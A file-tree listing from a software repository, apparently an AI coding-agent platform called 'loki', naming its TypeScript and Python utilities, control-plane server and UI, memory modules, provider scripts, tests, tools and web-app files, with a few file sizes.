  • loki-ts/src/util/already_done_evidence.ts
  • loki-ts/src/util/anti_loop.ts
  • loki-ts/src/util/app_probe.ts
  • loki-ts/src/util/atomic.ts
  • loki-ts/src/util/base_guard.ts
  • loki-ts/src/util/check_result.ts
  • loki-ts/src/util/child_ledger.ts
  • loki-ts/src/util/claude_model.ts
  • loki-ts/src/util/colors.ts
  • loki-ts/src/util/composite_seal.ts
  • loki-ts/src/util/conflict_resume.ts
  • loki-ts/src/util/context_pack.ts
  • loki-ts/src/util/cost_breakdown.ts
  • loki-ts/src/util/cost_profile.ts
  • loki-ts/src/util/credential_env.ts
  • loki-ts/src/util/dashboard_page.ts
  • loki-ts/src/util/deprecated_alias.ts
  • loki-ts/src/util/dotnet_test.ts
  • loki-ts/src/util/engine_origin.ts
  • loki-ts/src/util/failure_memory.ts
  • loki-ts/src/util/first_run_repo.ts
  • loki-ts/src/util/funnel.ts
  • loki-ts/src/util/group_integrate.ts
  • loki-ts/src/util/holdout.ts
  • loki-ts/src/util/intent_card.ts
  • loki-ts/src/util/js_resolve.ts
  • loki-ts/src/util/lock_ecosystems.ts
  • loki-ts/src/util/modernize_coordinator.ts
  • loki-ts/src/util/modernize_unit.ts
  • loki-ts/src/util/mutation_proof.ts
  • loki-ts/src/util/one_line_goal.ts
  • loki-ts/src/util/outbox.ts
  • loki-ts/src/util/paths.ts
  • loki-ts/src/util/pr_lessons.ts
  • loki-ts/src/util/producer_fingerprint.ts
  • loki-ts/src/util/python.ts
  • loki-ts/src/util/python_build_check.ts
  • loki-ts/src/util/receipt_bundle.ts
  • loki-ts/src/util/receipt_signer.ts
  • loki-ts/src/util/receipt_surface.ts
  • loki-ts/src/util/redact.ts
  • loki-ts/src/util/relevance.ts
  • loki-ts/src/util/reviewer_brief.ts
  • loki-ts/src/util/run_cap.ts
  • loki-ts/src/util/run_control.ts
  • loki-ts/src/util/run_identity.ts
  • loki-ts/src/util/run_outputs.ts
  • loki-ts/src/util/run_pid.ts
  • loki-ts/src/util/run_shape.ts
  • loki-ts/src/util/run_summary.ts
  • loki-ts/src/util/runner_boot.ts
  • loki-ts/src/util/safe_git.ts
  • loki-ts/src/util/satisfaction.ts
  • loki-ts/src/util/seal_drift.ts
  • loki-ts/src/util/secure_scan.ts
  • loki-ts/src/util/shell.ts
  • loki-ts/src/util/skill_checks.ts
  • loki-ts/src/util/slack_events.ts
  • loki-ts/src/util/spec_file.ts
  • loki-ts/src/util/stack_tools.ts
  • loki-ts/src/util/steer.ts
  • loki-ts/src/util/term_width.ts
  • loki-ts/src/util/test_file_text.ts
  • loki-ts/src/util/test_guard.ts
  • loki-ts/src/util/tier.ts
  • loki-ts/src/util/ts_signatures.ts
  • loki-ts/src/util/update_check.ts
  • loki-ts/src/util/wall_cases.ts
  • loki-ts/src/util/wall_knobs.ts
  • loki-ts/src/util/wall_owned.ts
  • loki-ts/src/util/yaml_key.ts
  • loki-ts/src/version.ts
  • lokistore/__init__.py
  • lokistore/base.py
  • lokistore/cloud.py
  • lokistore/factory.py
  • lokistore/local.py
  • magic/__init__.py
  • magic/core/__init__.py
  • magic/core/debate.py
  • magic/core/design_tokens.py
  • magic/core/freshness.py
  • magic/core/generator.py
  • magic/core/memory_bridge.py
  • magic/core/prd_scanner.py
  • magic/core/registry.py
  • magic/core/spec.py
  • mcp/__init__.py
  • mcp/_sdk_loader.py
  • mcp/cp_tools.py
  • mcp/learning_collector.py
  • mcp/lsp_proxy.py
  • mcp/magic_tools.py
  • mcp/managed_tools.py
  • mcp/server.py
  • mcp/v10_tools.py
  • memory/__init__.py
  • memory/app_graph.py
  • memory/consolidation.py
  • memory/cross_project.py
  • memory/embeddings.py
  • memory/engine.py
  • memory/error_log.py
  • memory/ingest.py
  • memory/knowledge_graph.py
  • memory/layers/__init__.py
  • memory/layers/index_layer.py
  • memory/layers/loader.py
  • memory/layers/timeline_layer.py
  • memory/managed_memory/__init__.py
  • memory/managed_memory/_beta.py
  • memory/managed_memory/client.py
  • memory/managed_memory/events.py
  • memory/managed_memory/fakes.py
  • memory/managed_memory/retrieve.py
  • memory/managed_memory/shadow_write.py
  • memory/namespace.py
  • memory/replay.py
  • memory/retrieval.py
  • memory/schemas.py
  • memory/storage.py
  • memory/token_economics.py
  • memory/unified_access.py
  • memory/vector_index.py
  • package.json
  • packages/control-plane/package.json
  • packages/control-plane/src/ask/invoke.ts
  • packages/control-plane/src/ask/parse.ts
  • packages/control-plane/src/ask/policy.ts
  • packages/control-plane/src/ask/prompt.ts
  • packages/control-plane/src/ask/store.ts
  • packages/control-plane/src/ask/tools.ts
  • packages/control-plane/src/ask/tools_server.ts
  • packages/control-plane/src/ask/worker.ts
  • packages/control-plane/src/db/fixture-cleanup.ts
  • packages/control-plane/src/db/migrate.ts
  • packages/control-plane/src/db/prune.ts
  • packages/control-plane/src/db/schema.ts
  • packages/control-plane/src/server/answer.ts
  • packages/control-plane/src/server/app.ts
  • packages/control-plane/src/server/audit.ts
  • packages/control-plane/src/server/auth.ts
  • packages/control-plane/src/server/diffstat.ts
  • packages/control-plane/src/server/ingest.ts
  • packages/control-plane/src/server/integrity.ts
  • packages/control-plane/src/server/legacy/routes-audit.ts
  • packages/control-plane/src/server/legacy/routes-control.ts
  • packages/control-plane/src/server/legacy/routes-memory.ts
  • packages/control-plane/src/server/legacy/routes-metrics.ts
  • packages/control-plane/src/server/legacy/routes.ts
  • packages/control-plane/src/server/legacy/shim.ts
  • packages/control-plane/src/server/reconcile.ts
  • packages/control-plane/src/server/repos.ts
  • packages/control-plane/src/server/routes/artifacts.ts
  • packages/control-plane/src/server/routes/ask.ts
  • packages/control-plane/src/server/routes/audit.ts
  • packages/control-plane/src/server/routes/checkpoints.ts
  • packages/control-plane/src/server/routes/config.ts
  • packages/control-plane/src/server/routes/control.ts
  • packages/control-plane/src/server/routes/cost.ts
  • packages/control-plane/src/server/routes/cost_ledger.ts
  • packages/control-plane/src/server/routes/doctor.ts
  • packages/control-plane/src/server/routes/fleet.ts
  • packages/control-plane/src/server/routes/index.ts
  • packages/control-plane/src/server/routes/integrations.ts
  • packages/control-plane/src/server/routes/memory.ts
  • packages/control-plane/src/server/routes/merge_risk.ts
  • packages/control-plane/src/server/routes/metrics.ts
  • packages/control-plane/src/server/routes/notify.ts
  • packages/control-plane/src/server/routes/providers.ts
  • packages/control-plane/src/server/routes/session_control.ts
  • packages/control-plane/src/server/routes/start.ts
  • packages/control-plane/src/server/routes/stats.ts
  • packages/control-plane/src/server/routes/stream.ts
  • packages/control-plane/src/server/routes/verify.ts
  • packages/control-plane/src/server/runs.ts
  • packages/control-plane/src/server/serve.ts
  • packages/control-plane/src/server/spawn.ts
  • packages/control-plane/src/shipper/backfill.ts
  • packages/control-plane/src/shipper/discover.ts
  • packages/control-plane/src/shipper/ship.ts
  • packages/control-plane/src/shipper/watch.ts
  • packages/control-plane/ui/package.json
  • packages/control-plane/ui/postcss.config.js
  • packages/control-plane/ui/src/App.tsx
  • packages/control-plane/ui/src/Live.tsx
  • packages/control-plane/ui/src/Shell.tsx
  • packages/control-plane/ui/src/api.ts
  • packages/control-plane/ui/src/design/primitives/index.tsx
  • packages/control-plane/ui/src/design/tailwind.preset.ts
  • packages/control-plane/ui/src/display.ts
  • packages/control-plane/ui/src/format.ts
  • packages/control-plane/ui/src/main.tsx
  • packages/control-plane/ui/src/pages/ask/api.ts
  • packages/control-plane/ui/src/pages/ask/index.tsx
  • packages/control-plane/ui/src/pages/board/Board.tsx
  • packages/control-plane/ui/src/pages/board/columns.ts
  • packages/control-plane/ui/src/pages/board/index.tsx
  • packages/control-plane/ui/src/pages/compose/api.ts
  • packages/control-plane/ui/src/pages/compose/index.tsx
  • packages/control-plane/ui/src/pages/compose/store.ts
  • packages/control-plane/ui/src/pages/cost/data.ts
  • packages/control-plane/ui/src/pages/cost/index.tsx
  • packages/control-plane/ui/src/pages/home/Home.tsx
  • packages/control-plane/ui/src/pages/home/index.tsx
  • packages/control-plane/ui/src/pages/integrations/index.tsx
  • packages/control-plane/ui/src/pages/merge/index.tsx
  • packages/control-plane/ui/src/pages/models/index.tsx
  • packages/control-plane/ui/src/pages/plans/Plans.tsx
  • packages/control-plane/ui/src/pages/plans/api.ts
  • packages/control-plane/ui/src/pages/plans/index.tsx
  • packages/control-plane/ui/src/pages/plans/logic.ts
  • packages/control-plane/ui/src/pages/receipts/Receipts.tsx
  • packages/control-plane/ui/src/pages/receipts/api.ts
  • packages/control-plane/ui/src/pages/receipts/index.tsx
  • packages/control-plane/ui/src/pages/registry.ts
  • packages/control-plane/ui/src/pages/risk/index.tsx
  • packages/control-plane/ui/src/pages/run-controls/index.tsx
  • packages/control-plane/ui/src/pages/run/facts.ts
  • packages/control-plane/ui/src/pages/run/index.tsx
  • packages/control-plane/ui/src/pages/run/model.ts
  • packages/control-plane/ui/src/pages/run/stream.ts
  • packages/control-plane/ui/src/pages/run/timeline.ts
  • packages/control-plane/ui/src/pages/runs/Lists.tsx
  • packages/control-plane/ui/src/pages/runs/OutcomeChip.tsx
  • packages/control-plane/ui/src/pages/runs/data.ts
  • packages/control-plane/ui/src/pages/runs/index.tsx
  • packages/control-plane/ui/src/pages/runs/issues.ts
  • packages/control-plane/ui/src/pages/settings/config-api.ts
  • packages/control-plane/ui/src/pages/settings/index.tsx
  • packages/control-plane/ui/src/pages/wired.tsx
  • packages/control-plane/ui/src/pages/workspaces/Workspaces.tsx
  • packages/control-plane/ui/src/pages/workspaces/index.tsx
  • packages/control-plane/ui/src/pages/workspaces/logic.ts
  • packages/control-plane/ui/src/palette/index.tsx
  • packages/control-plane/ui/src/palette/items.ts
  • packages/control-plane/ui/src/shell/AppShell.tsx
  • packages/control-plane/ui/src/shell/Mascot.tsx
  • packages/control-plane/ui/src/shell/hooks.ts
  • packages/control-plane/ui/src/shell/theme.ts
  • packages/control-plane/ui/tailwind.config.js
  • packages/control-plane/ui/vite.config.ts
  • packages/loki-seal/bin/contract.js
  • packages/loki-seal/bin/loki-seal.js
  • packages/loki-seal/demo/dry-run.sh
  • packages/loki-seal/demo/setup.sh
  • plugins/loki-mode/scripts/loki-guard.sh
  • plugins/loki-mode/scripts/loki-stop-verify.sh
  • providers/claude.sh
  • providers/loader.sh
  • providers/managed.py
  • providers/model_route_exec.sh
  • providers/model_routes.sh
  • providers/models.sh
  • providers/opencode.sh
  • scripts/cp-closure.py
  • scripts/dep-inventory.py
  • scripts/dogfood-stats.sh
  • scripts/generate-stale-zero.sh
  • scripts/install-gitleaks.sh
  • scripts/install-hooks.sh
  • scripts/local-ci.sh
  • scripts/loki-wrapper.sh
  • scripts/measure-run.sh
  • scripts/npm-dist-tags.sh
  • scripts/release-notes.sh
  • scripts/release.sh
  • scripts/select-tests.sh
  • scripts/skill-toc.sh
  • scripts/smoke-install.sh
  • scripts/sync-to-vibe-kanban.sh
  • scripts/update-changelog.sh
  • scripts/usage-governor.py
  • scripts/verify-pr-sandbox.sh
  • scripts/vibe-sync-watcher.sh
  • scripts/vpr-pytest-boot/loki_vpr_boot.py
  • scripts/vpr-pytest-boot/loki_vpr_plugin.py
  • scripts/vpr-pytest-boot/loki_vpr_site.py
  • sdk/python/loki_mode_sdk/__init__.py
  • sdk/python/loki_mode_sdk/auth.py
  • sdk/python/loki_mode_sdk/client.py
  • sdk/python/loki_mode_sdk/events.py
  • sdk/python/loki_mode_sdk/sessions.py
  • sdk/python/loki_mode_sdk/tasks.py
  • sdk/python/loki_mode_sdk/types.py
  • sdk/typescript/dist/audit.d.ts
  • sdk/typescript/dist/audit.js
  • sdk/typescript/dist/client.d.ts
  • sdk/typescript/dist/client.js
  • sdk/typescript/dist/errors.d.ts
  • sdk/typescript/dist/errors.js
  • sdk/typescript/dist/index.d.ts
  • sdk/typescript/dist/index.js
  • sdk/typescript/dist/runs.d.ts
  • sdk/typescript/dist/runs.js
  • sdk/typescript/dist/tenants.d.ts
  • sdk/typescript/dist/tenants.js
  • sdk/typescript/dist/types.d.ts
  • sdk/typescript/dist/types.js
  • sdk/typescript/package.json
  • sdk/typescript/scripts/normalize-package-permissions.mjs
  • sdk/typescript/src/audit.ts
  • sdk/typescript/src/client.ts
  • sdk/typescript/src/errors.ts
  • sdk/typescript/src/index.ts
  • sdk/typescript/src/runs.ts
  • sdk/typescript/src/tenants.ts
  • sdk/typescript/src/types.ts
  • src/audit/compliance-scheduler.js
  • src/audit/compliance.js
  • src/audit/crosslink.js
  • src/audit/index.js
  • src/audit/log.js
  • src/audit/residency.js
  • src/audit/subscriber.js
  • src/integrations/adapter.js
  • src/integrations/github/action-handler.js
  • src/integrations/github/reporter.js
  • src/integrations/jira/api-client.js
  • src/integrations/jira/epic-converter.js
  • src/integrations/jira/index.js
  • src/integrations/jira/sync-manager.js
  • src/integrations/jira/webhook-handler.js
  • src/integrations/linear/client.js
  • src/integrations/linear/config.js
  • src/integrations/linear/index.js
  • src/integrations/linear/sync.js
  • src/integrations/slack/adapter.js
  • src/integrations/slack/blocks.js
  • src/integrations/slack/commands.js
  • src/integrations/slack/index.js
  • src/integrations/slack/webhook-handler.js
  • src/integrations/sync-subscriber.js
  • src/integrations/teams/adapter.js
  • src/integrations/teams/cards.js
  • src/integrations/teams/index.js
  • src/integrations/teams/webhook.js
  • src/observability/genai-spans.js
  • src/observability/index.js
  • src/observability/metrics.js
  • src/observability/otel-bridge.js
  • src/observability/otel.js
  • src/observability/siem-export.js
  • src/observability/spans.js
  • src/plugins/agent-plugin.js
  • src/plugins/gate-plugin.js
  • src/plugins/index.js
  • src/plugins/integration-plugin.js
  • src/plugins/loader.js
  • src/plugins/mcp-plugin.js
  • src/plugins/validator.js
  • src/policies/approval.js
  • src/policies/check.js
  • src/policies/claude_permissions.js
  • src/policies/cost.js
  • src/policies/engine.js
  • src/policies/index.js
  • src/policies/types.js
  • src/protocols/a2a/agent-card.js
  • src/protocols/a2a/artifacts.js
  • src/protocols/a2a/client.js
  • src/protocols/a2a/index.js
  • src/protocols/a2a/streaming.js
  • src/protocols/a2a/task-manager.js
  • src/protocols/auth/oauth.js
  • src/protocols/mcp-circuit-breaker.js
  • src/protocols/mcp-client-manager.js
  • src/protocols/mcp-client.js
  • src/protocols/mcp-server.js
  • src/protocols/resources/continuity.js
  • src/protocols/resources/memory.js
  • src/protocols/tools/agent-metrics.js
  • src/protocols/tools/checkpoint-restore.js
  • src/protocols/tools/project-status.js
  • src/protocols/tools/quality-report.js
  • src/protocols/tools/start-project.js
  • src/protocols/transport/sse.js
  • src/protocols/transport/stdio.js
  • src/protocols/untrusted.js
  • state/__init__.py
  • state/index.ts
  • state/manager.py
  • state/manager.ts
  • state/sqlite_backend.py
  • swarm/__init__.py
  • swarm/adjuster.py
  • swarm/bft.py
  • swarm/calibration.py
  • swarm/classifier.py
  • swarm/cli.py
  • swarm/composer.py
  • swarm/intelligence.py
  • swarm/messages.py
  • swarm/patterns.py
  • swarm/performance.py
  • swarm/registry.py
  • swarm/sycophancy.py
  • tests/detect-hallucinated-deps.sh
  • tests/detect-invariant-violations.sh
  • tests/detect-mock-problems.sh
  • tests/detect-semantic-test-problems.sh
  • tests/detect-test-mutations.sh
  • tests/min/auto-route.sh
  • tests/min/cli-entrypoints.sh
  • tests/min/context-pack.sh
  • tests/min/decompose-and-intake.sh
  • tests/min/detect-gates.sh
  • tests/min/dist-freshness.sh
  • tests/min/docker-and-zip-sources.sh
  • tests/min/engine10-e2e-stub.sh
  • tests/min/fixtures/context/go-ratelimit/repo/limiter/clock.go
  • tests/min/fixtures/context/go-ratelimit/repo/limiter/limiter.go
  • tests/min/fixtures/context/go-ratelimit/repo/limiter/limiter_test.go
  • tests/min/fixtures/context/go-ratelimit/repo/server/handler.go
  • tests/min/fixtures/context/go-ratelimit/repo/server/health.go
  • tests/min/fixtures/context/go-ratelimit/solution/limiter/limiter.go
  • tests/min/fixtures/context/py-accounts/repo/accounts/__init__.py
  • tests/min/fixtures/context/py-accounts/repo/accounts/audit.py
  • tests/min/fixtures/context/py-accounts/repo/accounts/errors.py
  • tests/min/fixtures/context/py-accounts/repo/accounts/models.py
  • tests/min/fixtures/context/py-accounts/repo/accounts/service.py
  • tests/min/fixtures/context/py-accounts/repo/accounts/store.py
  • tests/min/fixtures/context/py-accounts/repo/accounts/validate.py
  • tests/min/fixtures/context/py-accounts/repo/tests/test_service.py
  • tests/min/fixtures/context/py-accounts/solution/accounts/errors.py
  • tests/min/fixtures/context/py-accounts/solution/accounts/service.py
  • tests/min/fixtures/context/py-accounts/solution/accounts/store.py
  • tests/min/fixtures/context/ts-invoice/repo/package.json
  • tests/min/fixtures/context/ts-invoice/repo/src/customers.ts
  • tests/min/fixtures/context/ts-invoice/repo/src/invoice.ts
  • tests/min/fixtures/context/ts-invoice/repo/src/money.ts
  • tests/min/fixtures/context/ts-invoice/repo/src/report.ts
  • tests/min/fixtures/context/ts-invoice/repo/src/shipping.ts
  • tests/min/fixtures/context/ts-invoice/repo/src/tax.ts
  • tests/min/fixtures/context/ts-invoice/repo/test/invoice.test.ts
  • tests/min/fixtures/context/ts-invoice/solution/src/invoice.ts
  • tests/min/fixtures/context/ts-invoice/solution/src/money.ts
  • tests/min/fixtures/context/ts-invoice/solution/src/tax.ts
  • tests/min/fixtures/e2e/bin/claude
  • tests/min/fixtures/e2e/repo/calc.test.ts
  • tests/min/fixtures/e2e/repo/calc.ts
  • tests/min/fixtures/e2e/sdk/@anthropic-ai/claude-agent-sdk-stub/claude
  • tests/min/fixtures/e2e/vitest-bin/npx
  • tests/min/fixtures/e2e/vitest-bin/vitest
  • tests/min/fixtures/opencode/bin/opencode
  • tests/min/fixtures/stacks/go/calc/calc.go
  • tests/min/fixtures/stacks/go/calc/calc_test.go
  • tests/min/fixtures/stacks/go/cmd/main.go
  • tests/min/fixtures/triage/bin/gh
  • tests/min/fixtures/triage/jira_server.py
  • tests/min/h2h-harness.sh
  • tests/min/host-guard.sh
  • tests/min/hygiene.sh
  • tests/min/issue-context.sh
  • tests/min/learn-from-runs.sh
  • tests/min/lib.sh
  • tests/min/newcomer-path.sh
  • tests/min/one-line-goal.sh
  • tests/min/outcome-metrics.sh
  • tests/min/pack-contents.sh
  • tests/min/providers-supported.sh
  • tests/min/receipt-roundtrip.sh
  • tests/min/redaction.sh
  • tests/min/release-notes.sh
  • tests/min/run-safety.sh
  • tests/min/scope-and-fix.sh
  • tests/min/stacks.sh
  • tests/min/syntax.sh
  • tests/min/triage-router.sh
  • tests/min/typecheck.sh
  • tests/min/version-consistency.sh
  • tests/test-plugin-json-current.sh
  • tests/test-server-json-current.sh
  • tools/audit-docs.py
  • tools/baseline-pin.py
  • tools/bench_cross_project_lift.py
  • tools/bench_memory_retrieval.py
  • tools/calibration-audit.py
  • tools/ci-gate.py
  • tools/cost-attribute.py
  • tools/cost-forecast.py
  • tools/cost-guard.py
  • tools/cost-history.py
  • tools/cost-per-outcome.py
  • tools/estimate-run.py
  • tools/gate-badge.py
  • tools/gate-explain.py
  • tools/gate-init.py
  • tools/gate-log.py
  • tools/gate-report.py
  • tools/gate-status.py
  • tools/gate-trend.py
  • tools/hybrid_search.py
  • tools/index-codebase.py
  • tools/model-advisor.py
  • tools/normalize-package-permissions.mjs
  • tools/outcome-canary-evaluate.py
  • tools/outcome-canary-observe.py
  • tools/outcome-canary-receipt-verify.py
  • tools/outcome-canary-receipt.py
  • tools/outcome-canary.py
  • tools/outcome-router.py
  • tools/policy-diff.py
  • tools/policy-load.py
  • tools/preflight.sh
  • tools/probe-model-catalog.py
  • tools/proof-passport.py
  • tools/receipt-attest.py
  • tools/receipt-bundle.py
  • tools/receipt-diff.py
  • tools/receipt-export.py
  • tools/receipt-find.py
  • tools/receipt-stats.py
  • tools/receipt-verify-batch.py
  • tools/regen-state-machine-refs.py
  • tools/run-replay.py
  • tools/token-guard.py
  • tools/tool-index.py
  • tools/verification-tax.py
  • tools/verify-chain.py
  • tools/verify-demo.sh
  • vendor/autonomi-verify/embed.js
  • web-app/Dockerfile
  • web-app/auth.py
  • web-app/crypto.py
  • web-app/dist/assets/AdminPage-0bmzFL_H.js
  • web-app/dist/assets/Avatar-CCOnr1Br.js
  • web-app/dist/assets/Badge-OabKAhBk.js
  • web-app/dist/assets/Button-Pb6cYL9O.js
  • web-app/dist/assets/CockpitPage-C42HXGgd.js
  • web-app/dist/assets/ComparePage-CzTHDUhY.js
  • web-app/dist/assets/ErrorBoundary-iEMh3HfQ.js
  • web-app/dist/assets/EvidenceReceiptPanel-tsCWt07q.js
  • web-app/dist/assets/GitHubIssuesPanel-Dynw9316.js
  • web-app/dist/assets/GitHubPRsPanel-cQ-fQo3W.js
  • web-app/dist/assets/HomePage-mHgVLI9j.js
  • web-app/dist/assets/LoginPage-BCsBRGUT.js
  • web-app/dist/assets/MagicPage-NPSBAxfc.js
  • web-app/dist/assets/MetricsPage-DE5BYswy.js
  • web-app/dist/assets/NotFoundPage-ChakqXtu.js
  • web-app/dist/assets/ProjectPage-BCv8qSrj.js
  • web-app/dist/assets/ProjectsPage-D7t3kXi1.js
  • web-app/dist/assets/SettingsPage-DWcOoseJ.js
  • web-app/dist/assets/ShowcasePage-BGBS53rc.js
  • web-app/dist/assets/SystemSettingsPage-DnlNsHR1.js
  • web-app/dist/assets/TeamsPage-gbdyps5P.js
  • web-app/dist/assets/TemplatesPage-CoCS7TBP.js
  • web-app/dist/assets/TerminalOutput-Bu59uXM6.js
  • web-app/dist/assets/activity-RK1kWujc.js
  • web-app/dist/assets/bell-PkQgU5tb.js
  • web-app/dist/assets/bot-KfQKc1W2.js
  • web-app/dist/assets/check-CLP-eFsI.js
  • web-app/dist/assets/chevron-left-L1ARkN2A.js
  • web-app/dist/assets/circle-alert-DQaOtcz7.js
  • web-app/dist/assets/clock-Dj81AT7o.js
  • web-app/dist/assets/cloud-CBc9HiD3.js
  • web-app/dist/assets/code-xml-Cg-6mn1e.js
  • web-app/dist/assets/database-hcC4hh9n.js
  • web-app/dist/assets/dollar-sign-D7KwqRKC.js
  • web-app/dist/assets/file-code-corner-BeiPZfPk.js
  • web-app/dist/assets/file-plus-Bbb3V7O6.js
  • web-app/dist/assets/globe-ePwFFIti.js
  • web-app/dist/assets/hammer-DCZkTmjn.js
  • web-app/dist/assets/index-DOUc1fHo.js
  • web-app/dist/assets/layers-DCsRb5Mz.js
  • web-app/dist/assets/loader-circle-20jch_P3.js
  • web-app/dist/assets/lock-BR3SVeMz.js
  • web-app/dist/assets/package-BBTTXS5s.js
  • web-app/dist/assets/plus-Djq8BzoS.js
  • web-app/dist/assets/refresh-cw-wsCa1mCg.js
  • web-app/dist/assets/rotate-ccw-DR6yOe_5.js
  • web-app/dist/assets/scroll-text-B8xdqAGX.js
  • web-app/dist/assets/server-Dm3VKzKU.js
  • web-app/dist/assets/shield-alert-CG6IydWg.js
  • web-app/dist/assets/thumbs-up-Dm-ujUy6.js
  • web-app/dist/assets/trash-2-BqO_GJJk.js
  • web-app/dist/assets/trending-down-DaPKY5Q9.js
  • web-app/dist/assets/trending-up-COtd-NWK.js
  • web-app/dist/assets/upload-CbiA6m9-.js
  • web-app/dist/assets/usePolling--6qRWxz8.js
  • web-app/dist/assets/user-DD2d70oe.js
  • web-app/eslint.config.js
  • web-app/migrations/env.py
  • web-app/migrations/versions/001_initial_schema.py
  • web-app/models.py
  • web-app/package.json
  • web-app/postcss.config.js
  • web-app/server.py
  • web-app/src/App.tsx
  • web-app/src/api/client.ts
  • web-app/src/cockpit/AgentChatter.tsx
  • web-app/src/cockpit/ChangeReview.tsx
  • web-app/src/cockpit/EvidencePanel.tsx
  • web-app/src/cockpit/ExecutionCockpit.tsx
  • web-app/src/cockpit/FinalActions.tsx
  • web-app/src/cockpit/PhaseTimeline.tsx
  • web-app/src/cockpit/RiskPanel.tsx
  • web-app/src/cockpit/RunMetrics.tsx
  • web-app/src/cockpit/StatusBanner.tsx
  • web-app/src/cockpit/TaskHeader.tsx
  • web-app/src/cockpit/derive.ts
  • web-app/src/cockpit/phases.ts
  • web-app/src/cockpit/run-derive-view-test.mjs
  • web-app/src/cockpit/useCockpitState.ts
  • web-app/src/components/AIChatPanel.tsx
  • web-app/src/components/AchievementToast.tsx
  • web-app/src/components/ActivityFeed.tsx
  • web-app/src/components/ActivityPanel.tsx
  • web-app/src/components/AgentDashboard.tsx
  • web-app/src/components/AuditTrail.tsx
  • web-app/src/components/Avatar.tsx
  • web-app/src/components/BenefitCards.tsx
  • web-app/src/components/BuildActivityFeed.tsx
  • web-app/src/components/BuildCelebration.tsx
  • web-app/src/components/BuildInsights.tsx
  • web-app/src/components/BuildProgressBar.tsx
  • web-app/src/components/BuildReplay.tsx
  • web-app/src/components/CICDPanel.tsx
  • web-app/src/components/Celebration.tsx
  • web-app/src/components/ChangePreview.tsx
  • web-app/src/components/ChangelogWidget.tsx
  • web-app/src/components/CheckpointTimeline.tsx
  • web-app/src/components/CommandPalette.tsx
  • web-app/src/components/ComplianceDashboard.tsx
  • web-app/src/components/ContextualHelp.tsx
  • web-app/src/components/ControlBar.tsx
  • web-app/src/components/CostEstimator.tsx
  • web-app/src/components/CustomTemplateCreator.tsx
  • web-app/src/components/DeployConnections.tsx
  • web-app/src/components/DeployPanel.tsx
  • web-app/src/components/DeviceFrameSelector.tsx
  • web-app/src/components/Divider.tsx
  • web-app/src/components/DocsSidebar.tsx
  • web-app/src/components/ErrorBoundary.tsx
  • web-app/src/components/EvidenceReceiptPanel.tsx
  • web-app/src/components/FeatureDiscoveryDot.tsx
  • web-app/src/components/FeaturedTemplates.tsx
  • web-app/src/components/FileBrowser.tsx
  • web-app/src/components/Footer.tsx
  • web-app/src/components/GettingStarted.tsx
  • web-app/src/components/GitHubIssuesPanel.tsx
  • web-app/src/components/GitHubPRsPanel.tsx
  • web-app/src/components/GitPanel.tsx
  • web-app/src/components/HowItWorks.tsx
  • web-app/src/components/KeyboardShortcuts.tsx
  • web-app/src/components/LoadingMessages.tsx
  • web-app/src/components/MagicComponentCard.tsx
  • web-app/src/components/MagicGeneratorPanel.tsx
  • web-app/src/components/MemoryViewer.tsx
  • web-app/src/components/MetricsPanel.tsx
  • web-app/src/components/NLSearch.tsx
  • web-app/src/components/NotificationSystem.tsx
  • web-app/src/components/OnboardingOverlay.tsx
  • web-app/src/components/OpenSourceStats.tsx
  • web-app/src/components/PRDInput.tsx
  • web-app/src/components/PhaseVisualizer.tsx
  • web-app/src/components/PlanModal.tsx
  • web-app/src/components/PreviewToolbar.tsx
  • web-app/src/components/ProductTour.tsx
  • web-app/src/components/ProjectGovernance.tsx
  • web-app/src/components/ProjectWorkspace.tsx
  • web-app/src/components/QualityGatesPanel.tsx
  • web-app/src/components/RBACPanel.tsx
  • web-app/src/components/ROICalculator.tsx
  • web-app/src/components/ReportPanel.tsx
  • web-app/src/components/Roadmap.tsx
  • web-app/src/components/SessionHistory.tsx
  • web-app/src/components/SmartSuggestions.tsx
  • web-app/src/components/StatusBar.tsx
  • web-app/src/components/StatusOverview.tsx
  • web-app/src/components/Tag.tsx
  • web-app/src/components/TeamPanel.tsx
  • web-app/src/components/TemplatePreview.tsx
  • web-app/src/components/TerminalEmulator.tsx
  • web-app/src/components/TerminalOutput.tsx
  • web-app/src/components/TokenSparkline.tsx
  • web-app/src/components/TrustedBy.tsx
  • web-app/src/components/UsageAnalytics.tsx
  • web-app/src/components/UserManagement.tsx
  • web-app/src/components/VirtualList.tsx
  • web-app/src/components/WarmEmptyState.tsx
  • web-app/src/components/WhatsNew.tsx
  • web-app/src/components/auth/ProtectedRoute.tsx
  • web-app/src/components/charts/DonutChart.tsx
  • web-app/src/components/charts/LineChart.tsx
  • web-app/src/components/layout/AppShell.tsx
  • web-app/src/components/layout/Sidebar.tsx
  • web-app/src/components/settings/SettingInput.tsx
  • web-app/src/components/settings/SettingSelect.tsx
  • web-app/src/components/settings/SettingSlider.tsx
  • web-app/src/components/settings/SettingToggle.tsx
  • web-app/src/components/ui/Badge.tsx
  • web-app/src/components/ui/Button.tsx
  • web-app/src/components/ui/Card.tsx
  • web-app/src/components/ui/ContextMenu.tsx
  • web-app/src/components/ui/IconButton.tsx
  • web-app/src/components/ui/Skeleton.tsx
  • web-app/src/contexts/NotificationContext.tsx
  • web-app/src/hooks/useAuth.tsx
  • web-app/src/hooks/useEscapeKey.ts
  • web-app/src/hooks/useFocusTrap.ts
  • web-app/src/hooks/usePolling.ts
  • web-app/src/hooks/usePullToRefresh.ts
  • web-app/src/hooks/useTheme.ts
  • web-app/src/hooks/useWebSocket.ts
  • web-app/src/main.tsx
  • web-app/src/pages/AdminPage.tsx
  • web-app/src/pages/CockpitPage.tsx
  • web-app/src/pages/ComparePage.tsx
  • web-app/src/pages/HomePage.tsx
  • web-app/src/pages/LoginPage.tsx
  • web-app/src/pages/MagicPage.tsx
  • web-app/src/pages/MetricsPage.tsx
  • web-app/src/pages/NotFoundPage.tsx
  • web-app/src/pages/ProjectPage.tsx
  • web-app/src/pages/ProjectsPage.tsx
  • web-app/src/pages/SettingsPage.tsx
  • web-app/src/pages/ShowcasePage.tsx
  • web-app/src/pages/SystemSettingsPage.tsx
  • web-app/src/pages/TeamsPage.tsx
  • web-app/src/pages/TemplatesPage.tsx
  • web-app/src/types/api.ts
  • web-app/src/vite-env.d.ts
  • web-app/tailwind.config.js
  • web-app/vite.config.ts

Files

  • .claude-plugin/marketplace.jsonasset1,494 bytes
  • .claude/commands/loki-grill.mddoc1,744 bytes
  • .claude/commands/loki-spec-status.mddoc1,752 bytes
  • .claude/commands/loki-verify.mddoc2,140 bytes
  • .claude/settings.jsonasset3 bytes
  • .dockerignoreasset644 bytes
  • .githooks/pre-commitruns1,635 bytes
  • .githooks/pre-pushruns27,768 bytes
